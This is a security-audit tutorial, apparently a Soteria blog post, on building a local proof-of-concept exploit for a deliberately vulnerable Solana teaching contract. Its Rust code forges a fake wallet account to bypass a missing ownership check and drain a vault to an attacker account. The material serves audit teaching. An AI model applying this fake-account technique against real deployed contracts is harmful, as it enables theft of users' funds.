How to Audit Solana Smart Contracts Part 3: Penetration Testing

December 8, 2021

In this article, we introduce a few penetration testing tools to help detect vulnerabilities in Solana or Rust programs in general.

Solana PoC Framework

The poc-framework provides a convenient way to simulate transactions in a local environment. To illustrate its usage, we will use an example provided by Neodyme on Github.

The withdraw function in the level0 contract with a known vulnerability

We first run soteria -analyzeAll . to get a list of potential vulnerabilities, for which we then use the poc-framework to construct exploits. In particular, Soteria reports the following issue:

Vulnerability: an un-trustful wallet account in level0 reported by Soteria

In fact, this is a known vulnerability (line 104 a missing ownership check) in the level0 contract. In the next three steps, we will construct a PoC to exploit this vulnerability.

Step1. Initializing the contract states (owner)

To develop PoC, the first step is to set up the contract states, which typically includes deploying the contract on the blockchain, creating necessary contract accounts, and invoking a transaction to initialize the contract states.

More specifically, to call the initialization function (line 21), we need to prepare three parameters: program_id, accounts, and instruction_data. The program_id is trivial: it is the public key of the deployed contract.

However, the other two parameters must have proper data contents to satisfy the conditions in the initialization function (line 27).

  • The accounts vector includes at least five accounts in the following order: wallet_info, vault_info, authority_info, rent_info, and system_program. The fifth account is used by system_instruction::create_account (lines 46 and 58)
  • The accounts have relationships (enforced by assert_eq! line 42): wallet_info.key == wallet_address, and wallet_address is a program derived address (PDA) determined by program_id and authority_info.key.
  • The wallet_info account has empty data (enforced by assert!(wallet_info.data_is_empty()) line 43)

To achieve our goal, there are three steps:

  1. use the poc_framework to create three accounts: one for the authority, one user, and one hacker:
let authority = poc_framework::keypair(0);
let user = poc_framework::keypair(1);
let hacker = poc_framework::keypair(2);
let authority_address = authority.pubkey();
let user_address = user.pubkey();
let hacker_address = hacker.pubkey();

2. use the poc_framework LocalEnvironment to deploy the contract (level0.so) with a program_id (wallet_program), add the three accounts above, and initialize them each with 1.0 sol:

let path = "./target/deploy/level0.so";
let wallet_program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap();
let amount_1sol = sol_to_lamports(1.0);
let mut env = poc_framework::LocalEnvironment::builder()
  .add_program(wallet_program, path)
  .add_account_with_lamports(authority_address, system_program::id(), amount_1sol)
  .add_account_with_lamports(user_address, system_program::id(), amount_1sol)
  .add_account_with_lamports(hacker_address, system_program::id(), amount_1sol)
  .build();

3. construct an instruction with the three parameters, and then execute a transaction in the poc_framework LocalEnvironment:

env.execute_as_transaction(&[Instruction {
    program_id: wallet_program,
    accounts: vec![
      AccountMeta::new(wallet_address, false),
      AccountMeta::new(vault_address, false),
      AccountMeta::new(authority_address, true),
      AccountMeta::new_readonly(sysvar::rent::id(), false),
      AccountMeta::new_readonly(system_program::id(), false),
    ],
    data: WalletInstruction::Initialize.try_to_vec().unwrap(),
}], &[&authority]).print();

Note that wallet_address and vault_address are PDAs, which are constructed by Pubkey::find_program_address (lines 33–38):

let (wallet_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes()], &wallet_program);
let (vault_address, _) = Pubkey::find_program_address(&[&authority_address.to_bytes(), &"VAULT".as_bytes()], &wallet_program);

Now, the first step is done. This step is typically performed by the contract owner with certain authority, and for the PoC we assume it is done correctly.

Running the code will produce the following log:

Step2. Constructing normal user interactions (user)

Currently, the vault account has almost zero money (except the rent exempt fee 0.00089088 sol). In the second step, we will create a transaction to invoke the deposit function to transfer money to the vault account. This step can be generalized to simulate any normal user interactions with the contract.

In the deposit function above, the accounts vector includes four accounts: wallet, vault, source (the user account to transfer money from) and system_program (used by system_instruction::transfer line 95).

The amount of money to transfer is a parameter passed to WalletInstruction::Deposit {amount}.

We can then construct an instruction with these parameters, and again use the poc_framework to execute a transaction:

env.execute_as_transaction(&[Instruction {    
    program_id: wallet_program,
    accounts: vec![
      AccountMeta::new(wallet_address, false),
      AccountMeta::new(vault_address, false),
      AccountMeta::new(user_address, true),
      AccountMeta::new_readonly(system_program::id(), false)
    ],
    data: WalletInstruction::Deposit {
      amount: amount_1sol}.try_to_vec().unwrap()
}],&[&user]).print();

Now, the second step is done. Running the code will produce the following log. Note that the vault account now has 1.00089088 sol. We have just successfully transferred 1 sol.

Step3. Launching the attack (hacker)

Finally, we are about to complete the exploit by creating an instruction that simulates the hacker’s behavior. The goal in this case is to invoke the withdraw function to transfer money from the vault account to the hacker.

From Soteria report, recall that the wallet account is not trustful (line 104) . This means that the hacker may create a fake wallet account to invoke the withdraw function. To successfully steal the money (line 119), the fake wallet account and the other inputs must satisfy the following conditions:

  • The wallet.authority field must be the same as the authority_info account key (enforced by assert_eq! line 111):
assert_eq!(wallet.authority, *authority_info.key)
  • The wallet.vault field must be the same as the vault account key (enforced by assert_eq! line 112):
assert_eq!(wallet.vault, *vault_info.key);
  • The withdraw amount is no larger than the money in the vault account:
if amount > **vault_info.lamports.borrow_mut() 
  • In addition, the authority account must be signed (enforced by assert! line 110):
assert!(authority_info.is_signer)

To satisfy this condition, the hacker may also supply a fake authority account, e.g., use their own hacker account and sign the transaction.

Considering all these constraints, we can construct a fake wallet account with the hacker_address as the fake authority field:

let hack_wallet = Wallet {
  authority: hacker_address,
  vault: vault_address
};
let mut hack_wallet_data: Vec = vec![];
hack_wallet.serialize(&mut hack_wallet_data).unwrap();

We use the poc_framework to create a fake wallet account in the LocalEnvironment:

let fake_wallet = poc_framework::keypair(4);
let fake_wallet_address = fake_wallet.pubkey();
env.create_account_with_data(&fake_wallet, hack_wallet_data);

We can then create a transaction to call the withdraw instruction:

env.execute_as_transaction(&[Instruction {
    program_id: wallet_program,
    accounts: vec![
      AccountMeta::new(fake_wallet_address, false),
      AccountMeta::new(vault_address, false),
      AccountMeta::new(hacker_address, true),
      AccountMeta::new(hacker_address, false)
    ],
    data: WalletInstruction::Withdraw {
      amount: amount_to_steal }.try_to_vec().unwrap(),
}], &[&hacker]).print();

In the above, the amount_to_steal can be set to the amount of money in the vault:

let amount_to_steal = env.get_account(vault_address).unwrap().lamports;

Putting all the above together, we have successfully created a PoC to exploit the vulnerability. Running the code will produce the following log. Note that the vault account is empty now, and the hacker now has 2.00089088 sol.

Soteria audit

Soteria is founded by leading minds in the fields of blockchain security and software verification.

Soteria team is working on an in-house penetration testing tool that automates the discovery of security vulnerabilities in Solana smart contracts.

We are pleased to provide audit services to high-impact Dapps on Solana. Please visit soteria.dev or email contact@soteria.dev

Previous articles

How to audit Solana smart contracts series?

For all blogs by Soteria, Please visit https://www.soteria.dev/blogs

What’s next

In the next few articles, we will continue to introduce auditing skills for Solana smart contracts, including the Anchor development framework.